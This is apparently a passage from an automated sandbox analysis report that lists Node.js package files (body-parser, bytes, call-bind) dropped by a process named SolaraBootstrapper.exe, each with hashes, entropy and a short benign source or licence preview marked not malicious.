Preview:	/!. body-parser. * Copyright(c) 2014-2015 Douglas Christopher Wilson. * MIT Licensed. /..'use strict'../. Module dependencies.. /..var bytes = require('bytes').var debug = require('debug')('body-parser:raw').var read = require('../read').var typeis = require('type-is')../. Module exports.. /..module.exports = raw../. Create a middleware to parse raw bodies.. . @param {object} [options]. * @return {function}. * @api public. */..function raw (options) {. var opts = options \|\| {}.. var inflate = opts.inflate !== false. var limit = typeof opts.limit !== 'number'. ? bytes.parse(opts.limit \|\| '100kb'). : opts.limit. var type = opts.type \|\| 'application/octet-stream'. var verify = opts.verify \|\| false.. if (verify !== false && typeof verify !== 'function') {. throw new TypeError('option verify must be function'). }.. // create the appropriate type checking function. var shouldParse = typeof type !== 'function'. ? typeChecker(type). : type.. functi

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\body-parser\lib\types\text.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2285
Entropy (8bit):	4.7291774030563944
Encrypted:	false
SSDEEP:	48:1FdMU11dbYJMShSexPYAzZmm5ZJp2pgzyxdEBYwWdk7cGMdSeUunm54qk+tg6Akl:1F3vbYJBSeXp2pg+QBYwxcGBbk27g6A6
MD5:	BEB4ADA09306F8D6435566D9E88076D3
SHA1:	EDA9BC036C9D10F1400CD2E4A8832949671CADC7
SHA-256:	54A6E8EF720B06A300B21F6C60387805DEC743A64154784A609DFE8C6860776A
SHA-512:	5D9C9C6837B9599D29DB9B1EB54CD2A4E215FEEB028137F31C20F2B02E38F600AA8C02721444DC41D7BFC206AD39A810076853D09FA1E3113B5708A75443131E
Malicious:	false
Preview:	/!. body-parser. * Copyright(c) 2014-2015 Douglas Christopher Wilson. * MIT Licensed. /..'use strict'../. Module dependencies.. /..var bytes = require('bytes').var contentType = require('content-type').var debug = require('debug')('body-parser:text').var read = require('../read').var typeis = require('type-is')../. Module exports.. /..module.exports = text../. Create a middleware to parse text bodies.. . @param {object} [options]. * @return {function}. * @api public. */..function text (options) {. var opts = options \|\| {}.. var defaultCharset = opts.defaultCharset \|\| 'utf-8'. var inflate = opts.inflate !== false. var limit = typeof opts.limit !== 'number'. ? bytes.parse(opts.limit \|\| '100kb'). : opts.limit. var type = opts.type \|\| 'text/plain'. var verify = opts.verify \|\| false.. if (verify !== false && typeof verify !== 'function') {. throw new TypeError('option verify must be function'). }.. // create the appropriate type checking function. var

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\body-parser\lib\types\urlencoded.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5797
Entropy (8bit):	4.705418003838086
Encrypted:	false
SSDEEP:	96:1F+GrIE8S/wtosB5XaYp2Yy+QBYwxcGw+NbaZMz71LX7g6KspqOJUICK0mMQ7eLR:1F+GrIE8S/wtoGXaUyx+wODybGMz7132
MD5:	906A833480CE8841BFA5AEB95B5C085F
SHA1:	8F74A7D616BF363B78844D3BCC2F554D7C76A952
SHA-256:	752717D87AAD57451638AF2073B04EBA964F348910C0BCF0070C43E732DE5EB2
SHA-512:	7676871DD3012DAD0472BE51698D9D1677622BA3D392417A41D22EF7F6D7DF6C8085516BB9BDC45D4F125815161899AA889D756D18CD41F11E2402E659F7934D
Malicious:	false
Preview:	/!. body-parser. * Copyright(c) 2014 Jonathan Ong. * Copyright(c) 2014-2015 Douglas Christopher Wilson. * MIT Licensed. /..'use strict'../. Module dependencies.. * @private. /..var bytes = require('bytes').var contentType = require('content-type').var createError = require('http-errors').var debug = require('debug')('body-parser:urlencoded').var deprecate = require('depd')('body-parser').var read = require('../read').var typeis = require('type-is')../. Module exports.. /..module.exports = urlencoded../. Cache of parser modules.. /..var parsers = Object.create(null)../. Create a middleware to parse urlencoded bodies.. . @param {object} [options]. * @return {function}. * @public. */..function urlencoded (options) {. var opts = options \|\| {}.. // notice because option default will flip in next major. if (opts.extended === undefined) {. deprecate('undefined extended: provide extended option'). }.. var extended = opts.extended !== false. var inflate = opts

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\body-parser\package.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1472
Entropy (8bit):	4.8087157197270995
Encrypted:	false
SSDEEP:	24:jX6f1exVWbe9qw6uO1mrnLeRYBCivIZ2lPWEwf6Tk0XxLt:jXK4VWbe9LfjLeRYBCivIAgE66T7Xx5
MD5:	826BD4315438573BA1A6D88AE2A2AA65
SHA1:	3E27986A947E7D10488739C9AFB75F96B646C4C5
SHA-256:	0FD31AD69FDCF1E2A94530F9DB9C93E96709B690393A14711643123F678EE956
SHA-512:	2E98BA8E57CB0950E45D20365D16E86AD94A60CFD4CF103B7D55DAE02DE677985D37C0F771E16AE0A628CB3B59ADCE8A9E1742CFFC298F18CB7D935D72536E6D
Malicious:	false
Preview:	{. "name": "body-parser",. "description": "Node.js body parsing middleware",. "version": "1.20.2",. "contributors": [. "Douglas Christopher Wilson <doug@somethingdoug.com>",. "Jonathan Ong <me@jongleberry.com> (http://jongleberry.com)". ],. "license": "MIT",. "repository": "expressjs/body-parser",. "dependencies": {. "bytes": "3.1.2",. "content-type": "~1.0.5",. "debug": "2.6.9",. "depd": "2.0.0",. "destroy": "1.2.0",. "http-errors": "2.0.0",. "iconv-lite": "0.4.24",. "on-finished": "2.4.1",. "qs": "6.11.0",. "raw-body": "2.5.2",. "type-is": "~1.6.18",. "unpipe": "1.0.0". },. "devDependencies": {. "eslint": "8.34.0",. "eslint-config-standard": "14.1.1",. "eslint-plugin-import": "2.27.5",. "eslint-plugin-markdown": "3.0.0",. "eslint-plugin-node": "11.1.0",. "eslint-plugin-promise": "6.1.1",. "eslint-plugin-standard": "4.1.0",. "methods": "1.1.2",. "mocha": "10.2.0",. "nyc": "15.1.0",. "safe-buffer": "5.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\bytes\History.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1775
Entropy (8bit):	4.694879284534119
Encrypted:	false
SSDEEP:	24:nDK2pjiS0+M6XTlXgZni4p3qm343hab1M1uvPgaR4x5nxNpXXqIP7pFZAQsOTnPz:DKZ+jD9upaPKgaS/lpbEOTnP4s
MD5:	38354AB8C37C42C3CEE19CF5896BBDEF
SHA1:	543550BE9E713608304AE2F89A7E9B4DF070EC8F
SHA-256:	B335E48648E33BD56C3BCADBDAD4C5A8B419099E7369D3DC845C106DDB49FC1C
SHA-512:	42ABFF3AB270C275DE95CEEC061D5C16E5C2754A4B9B6EBFA6A3417DD8C314CE492C86CD5747B463C633A4560CD9DE7AC5A94087A4F864EAAE3F20DCD6FCE4EE
Malicious:	false
Preview:	3.1.2 / 2022-01-27.==================.. * Fix return value for un-parsable strings..3.1.1 / 2021-11-15.==================.. * Fix "thousandsSeparator" incorrecting formatting fractional part..3.1.0 / 2019-01-22.==================.. * Add petabyte (`pb`) support..3.0.0 / 2017-08-31.==================.. * Change "kB" to "KB" in format output. * Remove support for Node.js 0.6. * Remove support for ComponentJS..2.5.0 / 2017-03-24.==================.. * Add option "unit"..2.4.0 / 2016-06-01.==================.. * Add option "unitSeparator"..2.3.0 / 2016-02-15.==================.. * Drop partial bytes on all parsed units. * Fix non-finite numbers to `.format` to return `null`. * Fix parsing byte string that looks like hex. * perf: hoist regular expressions..2.2.0 / 2015-11-13.==================.. * add option "decimalPlaces". * add option "fixedDecimals"..2.1.0 / 2015-05-21.==================.. * add `.format` export. * add `.parse` export..2.0.2 / 2015-05-20.================

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\bytes\LICENSE

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1153
Entropy (8bit):	5.209440330924807
Encrypted:	false
SSDEEP:	24:5MdiJH/ZHHuyPP3GtIHw1Gg9MPH+sUW8Ok4odZo3U/qldFD:uiJfxfPvGt7ICMPH+sfINi3OMFD
MD5:	013E95467EDDB048F19A6F5B42820F86
SHA1:	0B84CDB9FC6263EC17D8991D9109922B840D4F30
SHA-256:	E3B44AF066615DE2EA48D18D852D0762F18C0B2EFCEA714FA48A6F729D405B85
SHA-512:	940AE401DCCECEE292BB5997C97E8B02DDF90C2B3E9EA88EF712CCAF0051F64E62A321C899472E2EB133AB4643AAFDCB30F2BDB1313229D5B5F52900827E98D3
Malicious:	false
Preview:	(The MIT License)..Copyright (c) 2012-2014 TJ Holowaychuk <tj@vision-media.ca>.Copyright (c) 2015 Jed Watson <jed.watson@me.com>..Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the.'Software'), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY.CLAIM, DAMAGES OR OTHER LIABILITY, WH

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\bytes\Readme.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	4770
Entropy (8bit):	4.976342344705789
Encrypted:	false
SSDEEP:	48:xFqXmR2NdXMoNj4CUGLaHtT8sZkwadPZvCLvqv/pyiKmfFapucGa3cmWqMb8JbRZ:WXn15sTGeH8sSJWJTHsyfKBM
MD5:	E7804750B4DBB0E9169BE6BC020C8E6F
SHA1:	C1F64BB7089CB59D5B3D929388118D25448AE22A
SHA-256:	761E5A8818F8DE496A4DF6632FA30DF65B62E00D5DB2B297096C63E07D61F740
SHA-512:	645F50F3627629A5C62175B1182D2279CAD099F6B4F02B3F0FE7B604FCC64A73A7E5A0B25A225BC25326DC7A8A30AEAA2AB060FBFBBA2DDB92FDAD6673C22C35
Malicious:	false
Preview:	# Bytes utility..[![NPM Version][npm-image]][npm-url].[![NPM Downloads][downloads-image]][downloads-url].[![Build Status][ci-image]][ci-url].[![Test Coverage][coveralls-image]][coveralls-url]..Utility to parse a string bytes (ex: `1TB`) to bytes (`1099511627776`) and vice-versa...## Installation..This is a [Node.js](https://nodejs.org/en/) module available through the.[npm registry](https://www.npmjs.com/). Installation is done using the.[`npm install` command](https://docs.npmjs.com/getting-started/installing-npm-packages-locally):..```bash.$ npm install bytes.```..## Usage..```js.var bytes = require('bytes');.```..#### bytes(number.string value, [options]): number.string.null..Default export function. Delegates to either `bytes.format` or `bytes.parse` based on the type of `value`...Arguments..\| Name \| Type \| Description \|.\|---------\|----------\|--------------------\|.\| value \| `number`.`string` \| Number value to format or string value to parse \|.\| options \|

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\bytes\index.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3613
Entropy (8bit):	4.963890806793395
Encrypted:	false
SSDEEP:	96:QEjKPg9hhYRkwG5jLnIzF6ujn5qamj0lf7aEb7VhhY54jAoKTybbH:QEjKPUh6KV5jTIzpj5qBjy7tb7rjrKW3
MD5:	83CF8FE86424252C5A9A3E2FE90DBD57
SHA1:	BD46529E5637FF1A659F1D4AF2598925B12741E0
SHA-256:	893FCBBBE962DC00E40DC2E4B20E76E92D874DD257345003C6575D940E91A37F
SHA-512:	F0630152A247CF51DFC677C22323AFCCC667350A11DB093B59B93F403481DEBA1D44CD78CD53F4C4A3E2DF297C35FE54CDC841C10C4667EBB81D3A54FBF56D43
Malicious:	false
Preview:	/!. bytes. * Copyright(c) 2012-2014 TJ Holowaychuk. * Copyright(c) 2015 Jed Watson. * MIT Licensed. /..'use strict';../. Module exports.. * @public. /..module.exports = bytes;.module.exports.format = format;.module.exports.parse = parse;../. Module variables.. * @private. /..var formatThousandsRegExp = /\B(?=(\d{3})+(?!\d))/g;..var formatDecimalsRegExp = /(?:\.0\|(\.[^0]+)0+)$/;..var map = {. b: 1,. kb: 1 << 10,. mb: 1 << 20,. gb: 1 << 30,. tb: Math.pow(1024, 4),. pb: Math.pow(1024, 5),.};..var parseRegExp = /^((-\|\+)?(\d+(?:\.\d+)?)) (kb\|mb\|gb\|tb\|pb)$/i;../. Convert the given value in bytes into a string or parse to string to an integer in bytes.. . @param {string\|number} value. * @param {{. * case: [string],. * decimalPlaces: [number]. * fixedDecimals: [boolean]. * thousandsSeparator: [string]. * unitSeparator: [string]. * }} [options] bytes options.. . @returns {string\|number\|null}. */..function bytes(value, options) {. if (typeof value === 'st

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\bytes\package.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.7529840913796395
Encrypted:	false
SSDEEP:	12:WJFGQhgA615EQN54SxR4jRp4jW8AFa5hkIQZLCYuNZWeTjk6tDGCjPcWdVbm09Lt:AFiA615Vhx6HTmwuYuNZWednVLt
MD5:	5E3137FEEC27C5D88693E0CB2FF95D3C
SHA1:	D8FE3E70EB4ECF4BF58385E4B27F89B7CE656A28
SHA-256:	99B21C09CE812DC76A06CD87C4753247CB9615C6A8501C5A5A9D9CAA22EA2D12
SHA-512:	4B4D89317E1A1CAAE6924F234B75E15BD2F8BD026D316152E6CF3FFAC53553BEA2995076A8A365F26A96730F36170D115AC35AAE6D0888F621F536D795B89A2D
Malicious:	false
Preview:	{. "name": "bytes",. "description": "Utility to parse a string bytes to bytes and vice-versa",. "version": "3.1.2",. "author": "TJ Holowaychuk <tj@vision-media.ca> (http://tjholowaychuk.com)",. "contributors": [. "Jed Watson <jed.watson@me.com>",. "Th.o FIDRY <theo.fidry@gmail.com>". ],. "license": "MIT",. "keywords": [. "byte",. "bytes",. "utility",. "parse",. "parser",. "convert",. "converter". ],. "repository": "visionmedia/bytes.js",. "devDependencies": {. "eslint": "7.32.0",. "eslint-plugin-markdown": "2.2.1",. "mocha": "9.2.0",. "nyc": "15.1.0". },. "files": [. "History.md",. "LICENSE",. "Readme.md",. "index.js". ],. "engines": {. "node": ">= 0.8". },. "scripts": {. "lint": "eslint .",. "test": "mocha --check-leaks --reporter spec",. "test-ci": "nyc --reporter=lcov --reporter=text npm test",. "test-cov": "nyc --reporter=html --reporter=text npm test". }.}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\call-bind\.eslintignore

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	10
Entropy (8bit):	3.121928094887362
Encrypted:	false
SSDEEP:	3:gUKvn:2
MD5:	0549BABC2213B12C788BFEB5C47CAB97
SHA1:	8525ADBDF9AC9A497E638CC69CEDD64804151830
SHA-256:	5C5DAF48FDF4DB42E16C29B5B3DE54984BAFE0C2FF367A186CA97F1D4ED48290
SHA-512:	54B84472ABA9DC81D7B5924FB74ED962803D24D463CB58E153F354E35630E04F2613279AFF3FBA6F0E612F796108ED3DA638BD134047D90DDA0D775CDE2F7306
Malicious:	false
Preview:	coverage/.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\call-bind\.eslintrc

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	208
Entropy (8bit):	4.744582336034783
Encrypted:	false
SSDEEP:	3:EK8RL0x+Hf5NeVHDQLjXiVHM+OL+/FpHLL8/EzlvwR/6G+sNqR6LesNEvssTsmiF:ExL0UxNSHQytEL2pLL8alJbupsgtrQ1C
MD5:	54C723B840318EC3718E0910A34EE231
SHA1:	6AEFE8870750E237FC26246997B9F27F602B461E
SHA-256:	75B6D0B1401BED73EFD3429ED52011077425266709CF4461867D577A5B7A69F4
SHA-512:	4A5C98F96AC503CD8F88400F84DF780F1F9D9B76BB45142DF8F023E3E52371A30271EB12523B79026843D6E2C0C9C497CAE5E513D892463D5BFBFC9F7FF204AC
Malicious:	false
Preview:	{.."root": true,..."extends": "@ljharb",..."rules": {..."func-name-matching": 0,..."id-length": 0,..."new-cap": [2, {...."capIsNewExceptions": [....."GetIntrinsic",....],...}],..."no-magic-numbers": 0,..},.}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\call-bind\.github\FUNDING.yml

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	580
Entropy (8bit):	4.7023374289648965
Encrypted:	false
SSDEEP:	12:OjjcfQWARgMqJugMJPH0FggM60lgM01bZBgMoGbQjgMy9gMLz4MI:qoQWAg0g+H0mg6lg7g1GegJ9gEz4D
MD5:	998D321E18F24A2CA5521654FAA16E75
SHA1:	DAD7FC03C586859956314397369A6F962A3DE957
SHA-256:	A044E97E01DE6EEF53BDE25CB024443A21A04A84F339AD118031443D3427B8DB
SHA-512:	64C89A2CE91EE7A1A12D06DCA4D7AFFE732C183A64BB11F8701D04F36B657DFE0B85DD94881852975CE44BD6F9181FE4E2EF1347E6AD31C960DF1745A8D82FFC
Malicious:	false
Preview:	# These are supported funding model platforms..github: [ljharb].patreon: # Replace with a single Patreon username.open_collective: # Replace with a single Open Collective username.ko_fi: # Replace with a single Ko-fi username.tidelift: npm/call-bind.community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry.liberapay: # Replace with a single Liberapay username.issuehunt: # Replace with a single IssueHunt username.otechie: # Replace with a single Otechie username.custom: # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2'].

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\call-bind\.nycrc

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	139
Entropy (8bit):	4.461548676043605
Encrypted:	false
SSDEEP:	3:uFx3jG9UDHfa7aBA9c4RIeeFHqpvc9PNUaUifEIkHJ03WhBK:Kw9OfyFdRaB9LUiMIOJHhBK
MD5:	D0104F79F0B4F03BBCD3B287FA04CF8C
SHA1:	54F9D7ADF8943CB07F821435BB269EB4BA40CCC2
SHA-256:	997785C50B0773E5E18BF15550FBF57823C634FEFE623CD37B3C83696402AD0A
SHA-512:	DAF9B5445CFC02397F398ADFA0258F2489B70699DFEC6CA7E5B85AFE5671FDCABE59EDEE332F718F5E5778FEB1E301778DFFE93BB28C1C0914F669659BAD39C6
Malicious:	false
Preview:	{.."all": true,.."check-coverage": false,.."reporter": ["text-summary", "text", "html", "json"],.."exclude": [..."coverage",..."test"..].}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\call-bind\CHANGELOG.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	8142
Entropy (8bit):	5.302938146171648
Encrypted:	false
SSDEEP:	96:E5yEmQ3y/4Gp0RJrB7Fu4gejUTB/9r4M+2c3m2CzJcRJA/7BDuC+APE:EgyRGiJ97tUTB/9Hc3nCziJA/lDbVE
MD5:	5A2F345052AEF5E2B33ECA8936670B21
SHA1:	BEF0B7EBA7753BDF0D78558D4C30CC17E9C7FC83
SHA-256:	4F80EAC971436D49BCEC11D38C28BB3BB79142B48BBB7D1A7002BFA9A6AF42B4
SHA-512:	3EC6E93F11269492EA8DBF75AABD8086352D63C8834A39B5C0C91ABBDA6708CF83A94E48B668782E349EAD5CFCF374155A1861F5AF9644CC6FC67454B4DFBAFB
Malicious:	false
Preview:	# Changelog..All notable changes to this project will be documented in this file...The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html)...## [v1.0.7](https://github.com/ljharb/call-bind/compare/v1.0.6...v1.0.7) - 2024-02-12..### Commits..- [Refactor] use `es-define-property` [`09b76a0`](https://github.com/ljharb/call-bind/commit/09b76a01634440461d44a80c9924ec4b500f3b03).- [Deps] update `get-intrinsic`, `set-function-length` [`ad5136d`](https://github.com/ljharb/call-bind/commit/ad5136ddda2a45c590959829ad3dce0c9f4e3590)..## [v1.0.6](https://github.com/ljharb/call-bind/compare/v1.0.5...v1.0.6) - 2024-02-05..### Commits..- [Dev Deps] update `aud`, `npmignore`, `tape` [`d564d5c`](https://github.com/ljharb/call-bind/commit/d564d5ce3e06a19df4d499c77f8d1a9da44e77aa).- [Deps] update `get-intrinsic`, `set-function-length` [`cfc2bdc`](https://github.com/ljharb/call-bind/commit/cfc2bd

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\call-bind\LICENSE

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1071
Entropy (8bit):	5.099362344791979
Encrypted:	false
SSDEEP:	24:tPsrmJHHH0yN3gtsHw1hC09QHOsUv4eOk4/+/m3oqLFh:VsaJHlxE3dQHOs5exm3ogFh
MD5:	0EB2C73DAA0ECF037CBDF3D0BB0C98D5
SHA1:	7087A92577C86806338A363A88A9A3B4F762E26D
SHA-256:	39C5EC504CF6BD5CD782A7C695828E09189DF79F5D94840E4F08FEB97B9FD416
SHA-512:	12A2A3BF2ABAFA5E3F669278EE332C87E4A164CFE54EF6019CA8B5F3D41F38F10224D52F471D0256AAD6600DEC9FB3A1EDF3C84F38CC9F1CFD4EB9A2AF8A0066
Malicious:	false
Preview:	MIT License..Copyright (c) 2020 Jordan Harband..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in all.copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,.OUT OF OR IN CONN

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\call-bind\README.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2026
Entropy (8bit):	5.114140784282728
Encrypted:	false
SSDEEP:	48:11eI4IFO2sfqAy1D0F14m8he5pmNBWdMjChIL0IPIlv:HXFbl1A1ertLLxw1
MD5:	A172C0370CFAD43EE9849484EBCB4BA1
SHA1:	A8353B6E7999E51EDE3D5C7CC5317F75C284B96D
SHA-256:	4F7F28D688EC5FACCE77C190FD90827F923432C1B2D0D2599DF04884F68414EE
SHA-512:	9D92F0D54DE35A45B041D53F1D1FC9BF2AB475626093921950A2C81F052ACC9D0DBEC6F09376DD1386B80F08B4252F0FF6FE024A6F7B4E94A437128E5896AE84
Malicious:	false
Preview:	# call-bind <sup>[![Version Badge][npm-version-svg]][package-url]</sup>..[![github actions][actions-image]][actions-url].[![coverage][codecov-image]][codecov-url].[![dependency status][deps-svg]][deps-url].[![dev dependency status][dev-deps-svg]][dev-deps-url].[![License][license-image]][license-url].[![Downloads][downloads-image]][downloads-url]..[![npm badge][npm-badge-png]][package-url]..Robustly `.call.bind()` a function...## Getting started..```sh.npm install --save call-bind.```..## Usage/Examples..```js.const assert = require('assert');.const callBind = require('call-bind');.const callBound = require('call-bind/callBound');..function f(a, b) {..assert.equal(this, 1);..assert.equal(a, 2);..assert.equal(b, 3);..assert.equal(arguments.length, 2);.}..const fBound = callBind(f);..const slice = callBound('Array.prototype.slice');..delete Function.prototype.call;.delete Function.prototype.bind;..fBound(1, 2, 3);..assert.deepEqual(slice([1, 2, 3, 4], 1, -1), [2, 3]);.```..## Tests..Clon

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\call-bind\callBound.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	413
Entropy (8bit):	4.865834361159882
Encrypted:	false
SSDEEP:	12:9RQtNVkJicBLj/dXeRtxt/vbZab1ytMIFRp:9GtNVkDBL7VeZxj8AjHp
MD5:	FDA064FEFAEB89252271922954D69A4F
SHA1:	7BAC1561B456A282ABE97CB9BC4E5E0D8A10E769
SHA-256:	2B2FCE7622FDD680256D28BCD59C30913546A825BF69D754D21A1D21CCC2928C
SHA-512:	B0746C9DC90BB513E7D6190470CE0ACBB0C2059B97184B9391F581E9A490729669C8479BA8EAAFC1980F4E058A396BAD11031D048387B5223A7B4B9E6A4B1DAE
Malicious:	false
Preview:	'use strict';..var GetIntrinsic = require('get-intrinsic');..var callBind = require('./');..var $indexOf = callBind(GetIntrinsic('String.prototype.indexOf'));..module.exports = function callBoundIntrinsic(name, allowMissing) {..var intrinsic = GetIntrinsic(name, !!allowMissing);..if (typeof intrinsic === 'function' && $indexOf(name, '.prototype.') > -1) {...return callBind(intrinsic);..}..return intrinsic;.};.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\call-bind\index.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1037
Entropy (8bit):	5.032586686387531
Encrypted:	false
SSDEEP:	24:hKfkGth9cZxghgZuxyU4q+SE9UB8wZ6dAdwBBBq+f7uBK:S9cDbXSgUKwZSzEkuM
MD5:	40109FA1AADE9C89C9587E77011F7301
SHA1:	91F8EAF2FBA5EE5C36E33207FEECEEE846C3E04A
SHA-256:	6B4EA26F8CA351CEE55DA416500FFCA72FDB14EB5909F1512CE8CA68E47D7621
SHA-512:	D308A91B496C9FBD2DB7D8B907D660142172342E990755093D892CF2B8382504119593BB83882F37DB71E925803C37B9B098EDC748F09EB6DC3F84B8DCC28F9B
Malicious:	false
Preview:	'use strict';..var bind = require('function-bind');.var GetIntrinsic = require('get-intrinsic');.var setFunctionLength = require('set-function-length');..var $TypeError = require('es-errors/type');.var $apply = GetIntrinsic('%Function.prototype.apply%');.var $call = GetIntrinsic('%Function.prototype.call%');.var $reflectApply = GetIntrinsic('%Reflect.apply%', true) \|\| bind.call($call, $apply);..var $defineProperty = require('es-define-property');.var $max = GetIntrinsic('%Math.max%');..module.exports = function callBind(originalFunction) {..if (typeof originalFunction !== 'function') {...throw new $TypeError('a function is required');..}..var func = $reflectApply(bind, $call, arguments);..return setFunctionLength(...func,...1 + $max(0, originalFunction.length - (arguments.length - 1)),...true..);.};..var applyBind = function applyBind() {..return $reflectApply(bind, $apply, arguments);.};..if ($defineProperty) {..$defineProperty(module.exports, 'apply', { value: applyBind });.} else {.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\call-bind\package.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2304
Entropy (8bit):	5.108456799286217
Encrypted:	false
SSDEEP:	48:7uhURYCMuUkagS4YhylyRYsEg4lNKrvnTPKsIMoU3wdeSowCL:ACMuDYE3MnTPKYoU3wYZ
MD5:	7327C5E04C116460B3C73EE92292269A
SHA1:	106489D54A0669A5271C89F87F2072CFB8E66C4F
SHA-256:	E8FC7600526CC041BFCD3A562E6CFDB53952A7F7FB4FCC899949E4C51C586155
SHA-512:	93F2327154E59B1F6FA2F55659FD5A8BAE1DA6CB4DC2EA5EF736ED6ABBCBB2840286BE9346BEA22A3DD52371AC842870BD388DCC1E5B673696BC0CAD868422D8
Malicious:	false
Preview:	{.."name": "call-bind",.."version": "1.0.7",.."description": "Robustly `.call.bind()` a function",.."main": "index.js",.."exports": {...".": "./index.js",..."./callBound": "./callBound.js",..."./package.json": "./package.json"..},.."scripts": {..."prepack": "npmignore --auto --commentLines=auto",..."prepublish": "not-in-publish \|\| npm run prepublishOnly",..."prepublishOnly": "safe-publish-latest",..."lint": "eslint --ext=.js,.mjs .",..."postlint": "evalmd README.md",..."pretest": "npm run lint",..."tests-only": "nyc tape 'test/*/.js'",..."test": "npm run tests-only",..."posttest": "aud --production",..."version": "auto-changelog && git add CHANGELOG.md",..."postversion": "auto-changelog && git add CHANGELOG.md && git commit --no-edit --amend && git tag -f \"v$(node -e \"console.log(require('./package.json').version)\")\""..},.."repository": {..."type": "git",..."url": "git+https://github.com/ljharb/call-bind.git"..},.."keywords": [..."javascript",..."ecmascript",..."es",..."js",..."c

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\call-bind\test\callBound.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2349
Entropy (8bit):	4.9384353402173575
Encrypted:	false
